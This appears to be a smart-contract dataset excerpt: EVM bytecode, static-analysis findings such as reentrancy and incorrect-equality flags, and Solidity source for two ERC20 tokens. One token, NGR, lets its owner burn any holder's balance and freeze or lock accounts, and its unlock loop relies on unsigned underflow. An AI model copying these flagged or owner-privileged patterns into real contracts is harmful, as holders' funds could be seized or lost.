518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17905291516000928392908816916120e391906124bd565b6000604051808303816000865af19150503d8060008114612120576040519150601f19603f3d011682016040523d82523d6000602084013e612125565b606091505b509150915081801561214f57508051158061214f57508080602001905181019061214f919061249b565b61215857600080fd5b505050505050565b600080600061216f87856119a5565b6001600160a01b0389166000908152602081905260409020549091508590670de0b6b3a7640000906121c26121a48a896119a5565b6001600160a01b038d16600090815260016020526040902054611b1b565b6001600160a01b038c166000908152600160205260409020546121e6908690611b1b565b6121f091906123c4565b6121fa91906123f3565b61220491906123f3565b61220e9190612412565b9890975095505050505050565b6001600160a01b038116811461223057600080fd5b50565b803561223e8161221b565b919050565b6000806040838503121561225657600080fd5b82356122618161221b565b946020939093013593505050565b60006020828403121561228157600080fd5b81356108d68161221b565b6000806040838503121561229f57600080fd5b50508035926020909101359150565b6000602082840312156122c057600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156122f057600080fd5b8235915060208084013567ffffffffffffffff8082111561231057600080fd5b818601915086601f83011261232457600080fd5b813581811115612336576123366122c7565b8060051b604051601f19603f8301168101818110858211171561235b5761235b6122c7565b60405291825284820192508381018501918983111561237957600080fd5b938501935b8285101561239e5761238f85612233565b8452938501939285019261237e565b8096505050505050509250929050565b634e487b7160e01b600052601160045260246000fd5b6000828210156123d6576123d66123ae565b500390565b600082198211156123ee576123ee6123ae565b500190565b600081600019048311821515161561240d5761240d6123ae565b500290565b60008261242f57634e487b7160e01b600052601260045260246000fd5b500490565b6000600019821415612448576124486123ae565b5060010190565b60006020828403121561246157600080fd5b81516108d68161221b565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561249457600080fd5b5051919050565b6000602082840312156124ad57600080fd5b815180151581146108d657600080fd5b6000825160005b818110156124de57602081860181015185830152016124c4565b818111156124ed576000828501525b50919091019291505056fea2646970667358221220a22a6d9731fe98e7396bc8f8c9b50514291e16577c041398eaf2bd17fac19cd864736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 2,625 |
0xe33b9d157b2a2efa78623373abff955426af21fe
|
/**
*Submitted for verification at Etherscan.io on 2019-04-14
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
}
contract AbraCoin is ERC20 {
string public name="Abra Coin";
string public symbol="ABRAC";
uint8 public decimals=18;
uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(18));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_mint(msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806339509351146102c057806370a082311461032557806395d89b411461037c578063a457c2d71461040c578063a9059cbb14610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105eb565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610718565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610722565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610add565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610aeb565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610afe565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d35565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d7d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e1b565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611052565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611272565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561062857600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561077157600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107fc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561083857600080fd5b610889826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109ed82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6012600a0a6305f5e1000281565b600560009054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b3b57600080fd5b610bca82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e135780601f10610de857610100808354040283529160200191610e13565b820191906000526020600020905b815481529060010190602001808311610df657829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e5857600080fd5b610ee782600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110a157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110dd57600080fd5b61112e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111c1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008083831115151561130b57600080fd5b82840390508091505092915050565b600080828401905083811015151561133157600080fd5b80915050929150505600a165627a7a72305820a76b589cdac2946dde5bedb3a25e46503614a27754f09713b5b58412f2ecc8290029
|
{"success": true, "error": null, "results": {}}
| 2,626 |
0xf57dd27a7f2c02834db0717b45bbbf6210254ed5
|
pragma solidity ^0.5.4;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(
subtractedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(
address from,
address to,
uint256 value
) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
}
contract NGR is ERC20 {
string public constant name = "Univ Coin";
string public constant symbol = "NGR";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 10000000000 * (10**uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function dropToken(address[] memory _receivers, uint256[] memory _values) public onlyOwner {
require(_receivers.length != 0);
require(_receivers.length == _values.length);
for (uint256 i = 0; i < _receivers.length; i++) {
transfer(_receivers[i], _values[i]);
emit Transfer(msg.sender, _receivers[i], _values[i]);
}
}
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Paused by owner");
_;
}
modifier whenPaused() {
require(paused, "Not paused now");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
event Frozen(address target);
event Unfrozen(address target);
mapping(address => bool) internal freezes;
modifier whenNotFrozen() {
require(!freezes[msg.sender], "Sender account is locked.");
_;
}
function freeze(address _target) public onlyOwner {
freezes[_target] = true;
emit Frozen(_target);
}
function unfreeze(address _target) public onlyOwner {
freezes[_target] = false;
emit Unfrozen(_target);
}
function isFrozen(address _target) public view returns (bool) {
return freezes[_target];
}
function transfer(address _to, uint256 _value)
public
whenNotFrozen
whenNotPaused
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public whenNotPaused returns (bool) {
require(!freezes[_from], "From account is locked.");
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount)
public
onlyOwner
returns (bool)
{
super._mint(_to, _amount);
emit Mint(_to, _amount);
return true;
}
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(_who), "Balance is too small.");
_burn(_who, _value);
emit Burn(_who, _value);
}
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
if (lockInfo[_holder][i].releaseTime <= now) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
}
return super.balanceOf(_holder).add(lockedBalance);
}
function balanceOfLocked(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
if (lockInfo[_holder][i].releaseTime > now) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
}
return lockedBalance;
}
function balanceOfTotal(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(
lockInfo[_holder][i].balance
);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder]
.length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx)
public
view
returns (uint256, uint256)
{
return (
lockInfo[_holder][_idx].releaseTime,
lockInfo[_holder][_idx].balance
);
}
function lock(
address _holder,
uint256 _amount,
uint256 _releaseTime
) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(LockInfo(_releaseTime, _amount));
emit Lock(_holder, _amount, _releaseTime);
}
function lockAfter(
address _holder,
uint256 _amount,
uint256 _afterTime
) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(LockInfo(now + _afterTime, _amount));
emit Lock(_holder, _amount, now + _afterTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(
lockInfo[_holder][i].balance
);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length -
1];
}
lockInfo[_holder].length--;
}
function transferWithLock(
address _to,
uint256 _value,
uint256 _releaseTime
) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(LockInfo(_releaseTime, _value));
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
function transferWithLockAfter(
address _to,
uint256 _value,
uint256 _afterTime
) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(LockInfo(now + _afterTime, _value));
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, now + _afterTime);
return true;
}
function currentTime() public view returns (uint256) {
return now;
}
function afterTime(uint256 _value) public view returns (uint256) {
return now + _value;
}
}
|
0x608060405234801561001057600080fd5b50600436106102115760003560e01c80638a57af6b11610125578063d18e81b3116100ad578063df0345861161007c578063df0345861461078c578063e2ab691d146107b2578063e5839836146107e4578063e960bb481461080a578063f2fde38b1461083057610211565b8063d18e81b3146106fe578063d29dad8314610706578063dd62ed3e1461072c578063de6baccb1461075a57610211565b806395d89b41116100f457806395d89b411461054b5780639dc29fac14610553578063a457c2d71461057f578063a9059cbb146105ab578063c77828d0146105d757610211565b80638a57af6b1461049d5780638d1fdf2f146104cf5780638da5cb5b146104f5578063927a4a7b1461051957610211565b80633f4ba83a116101a85780635c975abb116101775780635c975abb1461043357806370a082311461043b578063715018a6146104615780637eee288d146104695780638456cb591461049557610211565b80633f4ba83a1461039257806340c10f191461039c57806345c8b1a6146103c857806346cf1bb5146103ee57610211565b806323b872dd116101e457806323b872dd1461030a578063313ce56714610340578063378dc3dc1461035e578063395093511461036657610211565b806304859ceb1461021657806306fdde0314610245578063095ea7b3146102c257806318160ddd14610302575b600080fd5b6102336004803603602081101561022c57600080fd5b5035610856565b60408051918252519081900360200190f35b61024d61085b565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028757818101518382015260200161026f565b50505050905090810190601f1680156102b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102ee600480360360408110156102d857600080fd5b506001600160a01b038135169060200135610880565b604080519115158252519081900360200190f35b6102336108fc565b6102ee6004803603606081101561032057600080fd5b506001600160a01b03813581169160208101359091169060400135610903565b6103486109e1565b6040805160ff9092168252519081900360200190f35b6102336109e6565b6102ee6004803603604081101561037c57600080fd5b506001600160a01b0381351690602001356109f6565b61039a610aa4565b005b6102ee600480360360408110156103b257600080fd5b506001600160a01b038135169060200135610b76565b61039a600480360360208110156103de57600080fd5b50356001600160a01b0316610c16565b61041a6004803603604081101561040457600080fd5b506001600160a01b038135169060200135610cb9565b6040805192835260208301919091528051918290030190f35b6102ee610d32565b6102336004803603602081101561045157600080fd5b50356001600160a01b0316610d42565b61039a610e1b565b61039a6004803603604081101561047f57600080fd5b506001600160a01b038135169060200135610eb0565b61039a61114c565b61039a600480360360608110156104b357600080fd5b506001600160a01b038135169060208101359060400135611226565b61039a600480360360208110156104e557600080fd5b50356001600160a01b0316611379565b6104fd61141f565b604080516001600160a01b039092168252519081900360200190f35b6102ee6004803603606081101561052f57600080fd5b506001600160a01b03813516906020810135906040013561142e565b61024d611615565b61039a6004803603604081101561056957600080fd5b506001600160a01b038135169060200135611634565b6102ee6004803603604081101561059557600080fd5b506001600160a01b038135169060200135611721565b6102ee600480360360408110156105c157600080fd5b506001600160a01b03813516906020013561176a565b61039a600480360360408110156105ed57600080fd5b81019060208101813564010000000081111561060857600080fd5b82018360208201111561061a57600080fd5b8035906020019184602083028401116401000000008311171561063c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561068c57600080fd5b82018360208201111561069e57600080fd5b803590602001918460208302840111640100000000831117156106c057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611833945050505050565b61023361193b565b6102336004803603602081101561071c57600080fd5b50356001600160a01b031661193f565b6102336004803603604081101561074257600080fd5b506001600160a01b0381358116916020013516611997565b6102ee6004803603606081101561077057600080fd5b506001600160a01b0381351690602081013590604001356119c2565b610233600480360360208110156107a257600080fd5b50356001600160a01b0316611ba6565b61039a600480360360608110156107c857600080fd5b506001600160a01b038135169060208101359060400135611bc1565b6102ee600480360360208110156107fa57600080fd5